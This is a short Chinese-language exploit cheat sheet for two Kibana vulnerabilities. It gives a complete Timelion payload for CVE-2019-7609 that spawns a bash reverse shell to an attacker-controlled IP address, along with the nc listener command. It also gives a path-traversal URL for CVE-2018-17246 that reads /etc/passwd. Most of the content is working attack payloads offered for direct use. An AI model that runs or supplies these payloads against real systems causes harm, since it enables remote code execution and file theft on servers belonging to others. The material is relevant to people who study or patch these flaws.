kibana 漏洞收集总结

一：cve-2019-7609 命令执行

Kibana存在远程代码执行漏洞，影响版本为5.6.15和6.6.0之前的所有版本。拥有Kibana的Timelion模块访问权限的人可以以Kibana的运行权限执行任意代码，包括反弹shell
访问

http://ip:5601/app/timelion

输入payload

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ’)

攻击机起监听

Nc -lvnp 12345

参考：https://github.com/mpgn/CVE-2019-7609
http://blog.leanote.com/post/snowming/2cd6256df61d

二：cve-2018-17246 文件包含

kibana version < 6.4.3
kibana version < 5.6.13

http://ip:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd

将在文件后台查看到密码日志
参考：https://github.com/zhengjim/loophole/tree/master/CVE-2018-17246